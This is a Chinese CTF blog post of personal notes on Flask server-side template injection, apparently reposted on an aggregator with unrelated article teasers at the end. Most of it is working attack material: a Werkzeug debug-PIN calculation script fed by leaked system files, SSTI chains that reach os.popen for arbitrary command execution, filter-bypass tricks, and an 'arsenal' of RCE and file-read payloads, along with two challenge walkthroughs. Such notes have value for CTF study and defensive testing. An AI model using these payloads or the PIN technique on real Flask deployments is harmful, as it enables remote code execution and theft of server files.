【心得】基于flask的SSTI个人笔记

news/2024/5/19 21:05:15 标签: flask, 笔记, python, 安全, CTF, WEB

目录

计算PIN码

例题1

SSTI的引用链

例题2


SSTI利用条件:

渲染字符串可控,也就说模板的内容可控

我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码

利用render_template_string函数参数可控,或者部分可控

render_template     相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法

render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

验证ssti是否存在

1 {{ 2*2 }}

2 {{ config }}

计算PIN码


如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码

计算PIN码

modname: flask.app
username: Administrator

public_bits 内容

['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']

我们需要知道当前登陆的用户名

private_bits 内容

['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c']

getNode     uuid.getnode
machine_id  读注册表内容


总结
要计算PIN码,需要private_bits 和public_bits 

分别需要确定的是:

1 python运行的脚本名
2 固定值  flask.app
3 固定值  Flask
4 当前脚本运行的绝对路径  可以从报错获取
5 uuid.getnode
6 machine_id


['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']


['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']

linux下
getNode读取的文件  /sys/class/net/eth0/address

02:42:0a:00:01:74

对其进行整理
>>> s='02:42:0a:00:01:74'
>>> s=s.replace(":","")
>>> print(int(s[1:],16))
2482658869620

boot_id  44ddd8c9-5268-4269-9bd7-5563103e44c2
3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 

整理后 拼接

最终machine_id  

05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e

例题1

web91

访问/console发现开启了debug模式

读/etc/passwd看用户名

 

随便传值,使其报错

得到app路径:/usr/local/lib/python3.8/site-packages/flask/app.py

/sys/class/net/eth0/address读getNode得到uuid

02420a000168 十六进制转十进制即可

2,482,658,869,608

尝试读 /etc/machine-id失败

 读/proc/sys/kernel/random/boot_id

读 /proc/self/cgroup

整理后 拼接得到最终machine_id

44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

贴出算PIN码的脚本

import hashlib
from itertools import chain




def getPIN(public_bits,private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name



if __name__ == "__main__":
    public_bits=[
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]

    private_bits=[
        '2482658869608','44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163'
    ]

    PIN = getPIN(public_bits,private_bits)
    print(PIN)

成功拿下console ,为所欲为即可

SSTI的引用链


"".__class__.__base__  拿到Object对象

.__subclasses__()[144]. 拿到os类

__init__.__globals__['popen']('calc') 调用os类的popen方法,执行calc参数

"".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')

突破过滤  

1 过滤字符.

"".__class__   转化为  ""['__class__'']

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}


2 过滤下划线_

第一种 构造下划线   {% set a =(()|select|string|list).pop(24) %} {% print(a) %}

第二种 十六进制绕过  {{  ()["\x5f\x5fclass\x5f\x5f"]  }}

3 绕过[]过滤

__getitem__   可以把中括号换成小括号使用

name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}

4 过滤了{{

使用{% 绕过

5 过滤了单引号或者双引号

name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }}


6 过滤了数字

构造出1  {{(dict(e=a)|join|count)}}


7 关键字绕过

class  base  

{{dict(__cl=a,ass__=a)|join}}

8 还可以使用全角的数字绕过

0123456789


SSTI武器库


1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

例题2

web92

 访问/login路由

随便传一个post

报错提示让post传一个name 

存在ssti

先找os

演示一种比较实用的找os索引值的方法

post:

name={{"".__class__.__base__.__subclasses__()}}

先复制

粘贴到记事本中,ctrl+f找到os

删去该os及其后所有类

复制,粘贴到vscode中

ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是132

payload:

name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /F*').read()}} 

或者

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('tac /F*')['read']()}}


http://www.niftyadmin.cn/n/5196048.html

相关文章

Wordpress页面生成器:Elementor 插件制作网站页面教程(图文完整)

本文来教大家怎么使用Wordpress Elementor页面编辑器插件来自由创建我们的网页内容。很多同学在面对建站的时候,一开始都是热血沸腾信心满满的,等到实际上手的时候就会发现有很多问题都是无法解决的,希望本篇Elementor插件使用指南能够帮助到你。 Wordpress Elementor页面编…

二-内存模型及所有权和引用、借用

1. 内存模型1 内存模型,heap和stack的区别,GC方面和go的区别 基本同go一样,分为堆内存、栈内存。栈内存函数退出时会自动释放,大小有限,一般是比较“小”的变量存到栈上。 比较“大”的或者大小动态变化的会分配到堆上…

C语言之qsort()函数的模拟实现

C语言之qsort()函数的模拟实现 文章目录 C语言之qsort()函数的模拟实现1. 简介2. 冒泡排序3. 对冒泡排序进行改造4. 改造部分4.1 保留部分的冒泡排序4.2 比较部分4.3 交换部分 5. bubble_sort2完整代码6. 使用bubble_sort2来排序整型数组7. 使用bubble_sort2来排序结构体数组7.…

如何在虚拟机的Ubuntu22.04中设置静态IP地址

为了让Linux系统的IP地址在重新启动电脑之后IP地址不进行变更,所以将其IP地址设置为静态IP地址。 查看虚拟机中虚拟网络编辑器获取当前的子网IP端 修改文件/etc/netplan/00-installer-config.yaml文件,打开你会看到以下内容 # This is the network conf…

FPGA_IIC代码-正点原子 野火 小梅哥 特权同学对比写法(3)

FPGA_IIC代码-正点原子 野火 小梅哥 特权同学对比写法(3) 工程目的IIC时序图IIC 读写操作方法汇总正点原子IIC实验工程整体框图和模块功能简介,如表下图所示: IIC 驱动模块设计时钟规划状态跳转流程单次写操作的波形图如下图所示&…

配置Nginx服务器用于Web应用代理和SSL{仅配置文件}

在本篇博文中,我们将深入讨论如何配置Nginx服务器,使其成为一个强大的Web应用代理,并通过SSL协议加强通信的安全性。 1. 服务器监听与SSL设置 首先,我们要配置Nginx服务器以监听HTTPS流量并设置SSL证书,确保通信的安…

英语六级做题经验总结

以下是个人在六级做题过程中总结的经验,如大佬们有更好的意见,欢迎评论区补充~ 注:题序即本人做题顺序: 1.写作(占总分的15%) 对于写作的时间应该把握在25分钟以内,因为需要留5分钟左右看听力…

PTA 7-6 数据类型判断(c++)

从键盘分别输入通过空格分割的整型(int)、浮点型(double)、字符型(String)、布尔型(boolean),根据读取的内容判断他们的类型并将他们解析为正确的对象,并都放到一个数组中。输出各个对象的类型 输入格式: 字符串 输出格式: 数据类型 输入样例: 在这…